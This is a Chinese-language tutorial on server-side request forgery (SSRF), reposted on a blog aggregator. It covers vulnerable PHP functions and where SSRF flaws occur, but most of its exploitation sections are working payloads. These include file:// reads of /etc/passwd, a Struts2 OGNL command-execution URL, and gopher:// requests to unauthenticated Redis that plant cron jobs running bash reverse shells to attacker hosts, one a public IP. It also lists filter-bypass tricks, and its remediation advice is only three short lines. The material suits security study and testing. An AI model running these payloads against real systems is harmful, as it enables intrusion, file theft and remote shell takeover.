SSRF漏洞(原理、挖掘点、漏洞利用、修复建议)

news2024/11/25 16:39:12

一、介绍SSRF漏洞

SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。

二、SSRF漏洞原理

SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web
应用作为代理攻击远程和本地的服务器。
主要攻击方式如下所示。

  • 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。
  • 攻击运行在内网或本地的应用程序。
  • 对内网Web应用进行指纹识别,识别企业内部的资产信息。
  • 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如struts2、SQli等)。
  • 利用file协议读取本地文件等。

http://payloads.net/ssrf.php?url=192.168.1.10:3306

http://payloads.net/ssrf.php?url=file:///c:/windows/win.ini

漏洞产生相关函数:

file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()

(1)file_get_contents()

<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

file_get_content函数从用户指定的url获取内容,然后指定一个文件名j进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。

(2)fsockopen()

<?php 
function GetFile($host,$port,$link) { 
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);   
    if (!$fp) { 
        echo "$errstr (error number $errno) \n"; 
    } else { 
        $out = "GET $link HTTP/1.1\r\n"; 
        $out .= "Host: $host\r\n"; 
        $out .= "Connection: Close\r\n\r\n"; 
        $out .= "\r\n"; 
        fwrite($fp, $out); 
        $contents=''; 
        while (!feof($fp)) { 
            $contents.= fgets($fp, 1024); 
        } 
        fclose($fp); 
        return $contents; 
    } 
}
?>

fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

(3)curl_exec()

<?php 
if (isset($_POST['url'])){
    $link = $_POST['url'];
    $curlobj = curl_init();// 创建新的 cURL 资源
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
    $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
    curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源

    $filename = './curled/'.rand().'.txt';
    file_put_contents($filename, $result); 
    echo $result;
}
?>

curl_exec函数用于执行指定的cURL会话

注意:

1.一般情况下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5.curl_exec() //默认不跟踪跳转,
6.file_get_contents() // file_get_contents支持php://input协议

三、SSRF漏洞验证方式

3.1.排除法:浏览器f12查看源代码看是否是在本地进行了请求

比如:该资源地址类型为 http://www.xxx.com/a.php?image=URL,URL参数若是其他服务器地址就可能存在SSRF漏洞

3.2.dnslog等工具进行测试,看是否被访问(可以在盲打后台,用例中将当前准备请求的url和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求)

3.3.抓包分析发送的请求是不是通过服务器发送的,如果不是客户端发出的请求,则有可能是存在漏洞。接着找存在HTTP服务的内网地址

  • 从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
  • 通过二级域名暴力猜解工具模糊猜测内网地址
  • 通过file协议读取内网信息获取相关地址

3.4.直接返回的Banner、title、content等信息

3.5.留意布尔型SSRF,通过判断两次不同请求结果的差异来判断是否存在SSRF,类似布尔型sql盲注方法。

四、SSRF漏洞利用方式

4.1. 能扫描内部网络,获取端口,服务信息。
4.2. 攻击运行在内网或本地的应用程序。
4.3. 对内网web进行指纹识别
4.4. 对内部主机和端口发送请求包进行攻击
4.5. file协议读取本地文件

五、SSRF漏洞点挖掘

5.1. 社交分享功能:获取超链接的标题等内容进行显示

5.2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

5.3. 在线翻译:给网址翻译对应网页的内容

5.4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

5.6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

5.7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

5.8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数

5.9. 邮件系统:比如接收邮件服务器地址

5.10. 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

5.11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

5.12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

URL关键字:

  • Share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain

六、漏洞演示

漏洞Demo:

<?php
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);  
?>

6.1. SSRF利用的协议

(1)file:在有回显的情况下,利用 file 协议可以读取任意内容

(2)dict:泄露安装软件版本信息,查看端口,操作内网redis服务等

(3)gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

(4)http/s:探测内网主机存活

6.2. 攻击运行在内网或本地的应用程序

 本地利用方式:

(1)使用file协议 file protocol (任意文件读取)

curl -vvv "http://target/ssrf.php?url=file:///etc/passwd"

(2)使用dict协议 dict protocol (获取Redis配置信息)

curl -vvv "http://target/ssrf.php?url=dict://127.0.0.1:6379/info"

(3)使用gopher协议(俗称万能协议) gopher protocol (一键反弹Bash)

curl -vvv "http://target/ssrf.php?url=gopher://127.0.0.1:6379/_*1 %0d %0a $8%0d %0aflushall %0d %0a*3 %0d %0a $3%0d %0aset %0d %0a $1%0d %0a1 %0d %0a $64%0d %0a %0d %0a %0a %0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 %0a %0a %0a %0a %0a %0d %0a %0d %0a %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $3%0d %0adir %0d %0a $16%0d %0a/var/spool/cron/ %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $10%0d %0adbfilename %0d %0a $4%0d %0aroot %0d %0a*1 %0d %0a $4%0d %0asave %0d %0aquit %0d %0a"

6.3. 扫描内部网络,获取端口,服务信息

构造IP:PORT进行访问

探测内网IP192.168.1.124的80端口(这里用的是http协议当然也可以把http更换成dict协议去探测开放端口)

http://localhost/ssrf.php?url=http://192.168.1.124:80

探测个3306端口

http://localhost/ssrf.php?url=http://192.168.1.124:3306

随便探测一个端口(这里这个5357是开放的)

http://localhost/ssrf.php?url=http://192.168.1.124:5357

有一些端口服务的banner有就会探测到输出到页面上,或者开放的端口访问的状态码是5开头(500、501、503...)或者4开头(403、404...)等。端口未开放访问的网页的时间会比较长。

6.4. 对内网web进行指纹识别

通过构造一些cms的特征图片、目录、文件等去进行请求,如果内网192.168.1.124这台服务8080端口存在phpmyadmin,访问就会出现该图片

其他的同理

  • http://192.168.1.124:8080/phpMyAdmin/themes/original/img/b_tblimport.png
  • http://192.168.1.124:8081/wp-content/themes/default/images/audio.jpg
  • http://192.168.1.124:8082/profiles/minimal/translations/README.txt


6.5. 对内部主机和端口发送请求包进行攻击

这里是用get方法可以攻击的web,比如struts2命令执行、Thinkphp、Jboss等。

以下是针对内网192.168.1.139这台服务器进行攻击,执行命令whoami

http://localhost/ssrf.php?url=http://192.168.1.139:8081/${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())}.action

post方法我们可以用gophar协议去发送请求数据包

http://localhost/ssrf.php?url=gopher://192.168.1.124:6667/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dpassword


6.6. file协议读取本地文件(5.2有写)

这里的构成可以通过 url参数接收,去尝试请求内网资源

Windows:

http://localhost/ssrf.php?url=file:///c:\\windows\\csup.txt

Linux:

http://localhost/ssrf.php?url=file:etc/csup.txt

file协议利用,这里读取windows目录下的csup.txt文件内容

6.7. SSRF攻击Redis

这里要搞懂两个知识点:1、gopher协议   2、redis的数据包转换字符串

1、gopher协议

推荐文章:https://zhuanlan.zhihu.com/p/112055947

2、redis的数据包转换字符串

redis服务开启一个抓包监听本地6379端口:

用kali linux进行连接并执行个info命令:

接下来拿到本地用wireshark分析下数据包,追踪下TCP流:

*1 #数组长度为1
$7 #多行字符串,长度为7
COMMAND #命令
*1 #数组长度为1
$4 #多行字符串,长度为7
info #返回字符串,文本行的集合。

转换为url编码

*1
$7
COMMAND
*1
$4
info


url encode:
*1%0A%247%0ACOMMAND%0A*1%0A%244%0Ainfo

(注意将%0A替换为%0D%0A)

*1%0D%0A%247%0ACOMMAND%0D%0A*1%%0D%0A%244%0D%0Ainfo

curl构造请求

curl gopher://192.168.110.133:6379/_*1%0D%0A%247%0ACOMMAND%0D%0A*1%%0D%0A%244%0D%0Ainfo

 说我们长度过长,我们重新换一个:

*1%0D%0A%247%0D%0ACOMMAND%0D%0A*2%0D%0A%244%0D%0Aecho%0D%0A%243%0D%0A123

可以看到输出了123。

利用redis未授权访问攻击redis

攻击redis的exp(这个其实利用的就是redis反弹shell的方式)

test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.110.133/4789 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

aaa

从而捕获到数据,并进行转换:

*1%0D%0A%247%0D%0ACOMMAND%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%245%0D%0Ashell%0D%0A%2464%0D%0A%0D%0A%0D%0A*%2F1%20*%20*%20*%20*%20%2Fbin%2Fbash%20-i%3E%26%2Fdev%2Ftcp%2F192.168.110.141%2F4789%200%3E%261%0D%0A%0D%0A%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%2F%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A*1%0D%0A%244%0D%0Asave

转换规则如下:

如果第一个字符是>或者<那么丢弃该行字符串,表示请求和返回的时间。

如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。

将r字符串替换成%0d%0a

空白行替换为%0a

结合gopher协议攻击内网redis,使用上边捕获数据的转换结果即可,然后进行反弹shell(192.168.1.4是存在redis未授权访问漏洞的服务器):

curl -v 'http://192.168.1.124:8000/ssrf.php?url=gopher://192.168.1.4:6379/_*1 %250d %250a %248%250d %250aflushall %250d %250a %2a3 %250d %250a %243%250d %250aset %250d %250a %241%250d %250a1 %250d %250a %2464%250d %250a %250d %250a %250a %250a %2a %2f1 %20%2a %20%2a %20%2a %20%2a %20bash %20-i %20%3E %26%20%2fdev %2ftcp %2f121.36.67.230 %2f5555 %200%3E %261%250a %250a %250a %250a %250a %250d %250a %250d %250a %250d %250a %2a4 %250d %250a %246%250d %250aconfig %250d %250a %243%250d %250aset %250d %250a %243%250d %250adir %250d %250a %2416%250d %250a %2fvar %2fspool %2fcron %2f %250d %250a %2a4 %250d %250a %246%250d %250aconfig %250d %250a %243%250d %250aset %250d %250a %2410%250d %250adbfilename %250d %250a %244%250d %250aroot %250d %250a %2a1 %250d %250a %244%250d %250asave %250d %250aquit %250d %250a'

curl -v 'http://192.168.1.124:8000/ssrf.php?url=gopher://192.168.1.4:6379/__*1%0D%0A%247%0D%0ACOMMAND%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%245%0D%0Ashell%0D%0A%2464%0D%0A%0D%0A%0D%0A*%2F1%20*%20*%20*%20*%20%2Fbin%2Fbash%20-i%3E%26%2Fdev%2Ftcp%2F192.168.110.141%2F4789%200%3E%261%0D%0A%0D%0A%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%2F%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A*1%0D%0A%244%0D%0Asave'

构建Payload:

SSRF漏洞主机IP:192.168.0.2

Redis未授权主机IP:192.168.110.133

Kali linux攻击机器IP:192.168.110.141

curl -v 'http://192.168.0.2/ssrf.php?url=gopher://192.168.110.133:6379/_*1 %250d %250a %248%250d %250aflushall %250d %250a %2a3 %250d %250a %243%250d %250aset %250d %250a %241%250d %250a1 %250d %250a %2464%250d %250a %250d %250a %250a %250a %2a %2f1 %20%2a %20%2a %20%2a %20%2a %20bash %20-i %20%3E %26%20%2fdev %2ftcp %2f192.168.110.141 %2f6789 %200%3E %261%250a %250a %250a %250a %250a %250d %250a %250d %250a %250d %250a %2a4 %250d %250a %246%250d %250aconfig %250d %250a %243%250d %250aset %250d %250a %243%250d %250adir %250d %250a %2416%250d %250a %2fvar %2fspool %2fcron %2f %250d %250a %2a4 %250d %250a %246%250d %250aconfig %250d %250a %243%250d %250aset %250d %250a %2410%250d %250adbfilename %250d %250a %244%250d %250aroot %250d %250a %2a1 %250d %250a %244%250d %250asave %250d %250aquit %250d %250a'

七、SSRF漏洞绕过方法

7.1.常用绕过方法

  1.@          http://abc.com@127.0.0.1

  2.添加端口号      http://127.0.0.1:8080

  3.短地址        https://0x9.me/cuGfD       推荐:http://tool.chinaz.com/tools/dwz.aspx、https://dwz.cn/

  4.可以指向任意ip的域名  xip.io                             原理是DNS解析。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1

  5.ip地址转换成进制来访问 192.168.0.1=3232235521(十进制) 

  6.非HTTP协议

  7.DNS Rebinding

  8.利用[::]绕过                 http://[::]:80/ >>> http://127.0.0.1

  9.句号绕过                  127。0。0。1 >>> 127.0.0.1

  10.利用302跳转绕过     使用https://tinyurl.com生成302跳转地址

@:
http://www.baidu.com@10.10.10.10 与 http?/10.10.10.10 请求是相同的

过滤绕过
IP地址转换成十进制:

127.0.0.1 先转换为十六进制   7F000001  两位起步所以 1就是01

7F000001转换为二进制
127.0.0.1=2130706433 最终结果

还有根据域名判断的,比如xip.io域名,就尝试如下方法

xip.io
xip.io127.0.0.1.xip.io -->127.0.0.1
www.127.0.0.1.xip.io -->127.0.0.1
Haha.127.0.0.1.xip.io -->127.0.0.1
Haha.xixi.127.0.0.1.xip.io -->127.0.0.1

7.2.常见限制

  • 限制为http://www.xxx.com 域名

采用http基本身份认证的方式绕过。即@
http://www.xxx.com@www.xxc.com

  • 2限制请求IP不为内网地址

当不允许ip为内网地址时
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换

  •  限制请求只为http协议

(1)采取302跳转
(2)采取短地址

八、SSRF修复建议

  • 限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。
  • 限制不能访问内网的IP,以防止对内网进行攻击。
  • 屏蔽返回的详细信息。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/771661.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【密码学】一、概述

概述 1、密码学的发展历史1.1 古代密码时代1.2 机械密码时代1.3 信息密码时代1.4 现代密码时代 2、密码学的基本概念3、密码学的基本属性4、密码体制分类4.1 对称密码体制4.2 非对称加密体制 5、密码分析 1、密码学的发展历史 起因&#xff1a;保密通信和身份认证问题 根据时间…

C++基础算法二分篇

&#x1f4df;作者主页&#xff1a;慢热的陕西人 &#x1f334;专栏链接&#xff1a;C算法 &#x1f4e3;欢迎各位大佬&#x1f44d;点赞&#x1f525;关注&#x1f693;收藏&#xff0c;&#x1f349;留言 主要讲解二分算法&#xff0c;分别讲解了整数二分和浮点二分 文章目录…

Mybatis-Plus(二)--Mybatis-Plus方法大全

通用CRUD大全&#xff08;Mybatis-Plus为我们提供了哪些操作&#xff09; 还有在mybatis中遇到列名和属性名不一致等等的情况&#xff0c;在mybatis中xml中声明解决&#xff0c;在mybatis-plus中也都有对应的解决。 1.插入操作 //插入一条记录 //参数entity是实体对象 int ins…

数据结构day5(2023.7.19)

一、Xmind整理&#xff1a; 双向链表的插入与删除&#xff1a; 二、课上练习&#xff1a; 练习1&#xff1a;单链表任意元素删除 /** function: 按元素删除* param [ in] * param [out] * return 返回堆区首地址*/ Linklist delete_by_data(datatype key,Linklist L) …

【MySQL】MySQL数据库的初阶使用

文章目录 一、MySQL服务的安装二、数据库基础1.什么是数据库&#xff1f;&#xff08;基于CS模式的一套数据存取的网络服务&#xff09;2. Linux文件系统和数据库的关系 && 主流数据库3.MySQL架构 && SQL分类 && MySQL存储引擎 三、MySQL操作库1.库结构…

携带时间戳主动写入数据到prometheus service(可乱序、go)

使用到的github公开项目 https://github.com/castai/promwrite Prometheus版本2.45.0 拉下来装依赖&#xff0c;然后使用 client_test.go t.Run(“write with custom options”, func(t *testing.T) 这个测试用例里面&#xff0c;删掉srv初始化的部分&#xff0c;这个是模拟一…

unity02 物体运动

旋转&#xff0c;增量旋转&#xff0c;默认增量为15度 ctrl拖拽物体旋转 设置增量旋转角度大小 edit–>grid and snap settings privot 轴心坐标系&#xff08;中心坐标系&#xff09;默认 local 世界坐标系&#xff08;局部坐标系&#xff09; ctrlD复制物体 物体激活&…

uni.app如何检测小程序版本更新以及上线后如何关闭全局打印

uni.app如何检测小程序版本更新以及上线后如何关闭全局打印 检测小程序版本更新关闭全局打印 检测小程序版本更新 App.vue 入口文件中 添加如下代码 //检测小程序版本是否更新const updateManager wx.getUpdateManager()updateManager.onCheckForUpdate(function(res) {// 请求…

Linux基础内容(26)—— 线程的互斥

Linux基础内容&#xff08;25&#xff09;—— 线程控制和线程结构_哈里沃克的博客-CSDN博客https://blog.csdn.net/m0_63488627/article/details/131372872?spm1001.2014.3001.5501 目录 1.线程互斥 1.问题引入 2.问题原因 3.安全问题 互斥 加锁 加锁后的特点 如何理…

每天一道C语言编程:Cylinder(圆柱体问题)

题目描述 使用一张纸和剪刀&#xff0c;您可以通过以下方式切出两个面形成一个圆柱体&#xff1a; 水平切割纸张&#xff08;平行于较短的边&#xff09;以获得两个矩形部分。 从第一部分开始&#xff0c;切出一个最大半径的圆。圆圈将形成圆柱体的底部。 将第二部分向上滚动&…

2023网络安全面试题汇总(附答题解析+配套资料)

随着国家政策的扶持&#xff0c;网络安全行业也越来越为大众所熟知&#xff0c;相应的想要进入到网络安全行业的人也越来越多&#xff0c;为了更好地进行工作&#xff0c;除了学好网络安全知识外&#xff0c;还要应对企业的面试。 所以在这里我归总了一些网络安全方面的常见面…

牛顿修正法在二阶近似方法中的应用

使用optimtool的牛顿修正法来应用学习 pip install optimtool --upgrade pip install optimtool>2.4.2optimtool包所依据的理论支撑中&#xff0c;还没有为二阶微分方法作邻近算子的近似与修正&#xff0c;所以二阶近似方法是研究无不可微项的可微函数的算子。 牛顿修正法…

docker部署mysql8主从集群(互为主从),keepalived保证高可用

一、准备2台物理机器master-1、master-2&#xff0c;目标虚拟VIP。   VIP:172.50.2.139   master-1:172.50.2.41   master-2:172.50.2.42 二、然后分别在2台物理机器master-1、master-2上使用docker-compose安装mysql8&#xff0c;并配置互为主从。1&#xff09;配置mas…

2023-7-19-第二十式迭代器模式

&#x1f37f;*★,*:.☆(&#xffe3;▽&#xffe3;)/$:*.★* &#x1f37f; &#x1f4a5;&#x1f4a5;&#x1f4a5;欢迎来到&#x1f91e;汤姆&#x1f91e;的csdn博文&#x1f4a5;&#x1f4a5;&#x1f4a5; &#x1f49f;&#x1f49f;喜欢的朋友可以关注一下&#xf…

深入理解Java虚拟机(五)虚拟机类加载机制

代码编译的结果从本地机器码转变为字节码&#xff0c;是存储格式发展的一小步&#xff0c;却是编程语言发展的一大步。 一、概述 Java虚拟机把描述类的数据从Class文件加载到内存&#xff0c;并对数据进行校验、转换解析和初始化&#xff0c;最终形成可以被虚拟机直接使用的Jav…

队列的表示和操作

队列&#xff1a;队列是仅在表尾进行插入操作&#xff0c;在表头进行删除操作的线性表。 表尾即an端&#xff0c;称为队尾&#xff0c;表头即a1端&#xff0c;称为队头。 队列的存储方式&#xff1a;顺序队列和链式队列 队列顺序表示 #define MAXQSIZE 100 //最大队列长度 …

Vue 1 - 安装、快速上手

文章目录 关于 Vue创建应用 关于 Vue 官网&#xff1a; https://cn.vuejs.org官方文档-快速上手&#xff1a; https://cn.vuejs.org/guide/quick-start.htmlgithub : https://github.com/vuejsVue SFC Playground : https://play.vuejs.org/ 其他 作者 尤雨溪 Evan You 主页 …

如何把caj文件改成PDF格式?分享三个免费的方法!

在学术研究中&#xff0c;我们可能会遇到CAJ文件&#xff0c;这是一种在中国学术界广泛使用的文档格式。然而&#xff0c;与PDF文件相比&#xff0c;CAJ文件的查看和分享并不那么便捷。下面&#xff0c;我会为你介绍三种免费且简便的方法&#xff0c;帮助你将CAJ文件转化为PDF格…

PSP - Jackhmmer 搜索 EMBL 序列数据库的相似序列

欢迎关注我的CSDN&#xff1a;https://spike.blog.csdn.net/ 本文地址&#xff1a;https://spike.blog.csdn.net/article/details/131817060 EMBL (European Molecular Biology Laboratory&#xff0c;欧洲分子生物实验室)&#xff1a;EMBL 数据库是一个由欧洲生物信息学研究所…

Microsoft Outlook如何定时发送邮件

点击New Emai 选择Options→Delay Delivery→Do not deliver before→Close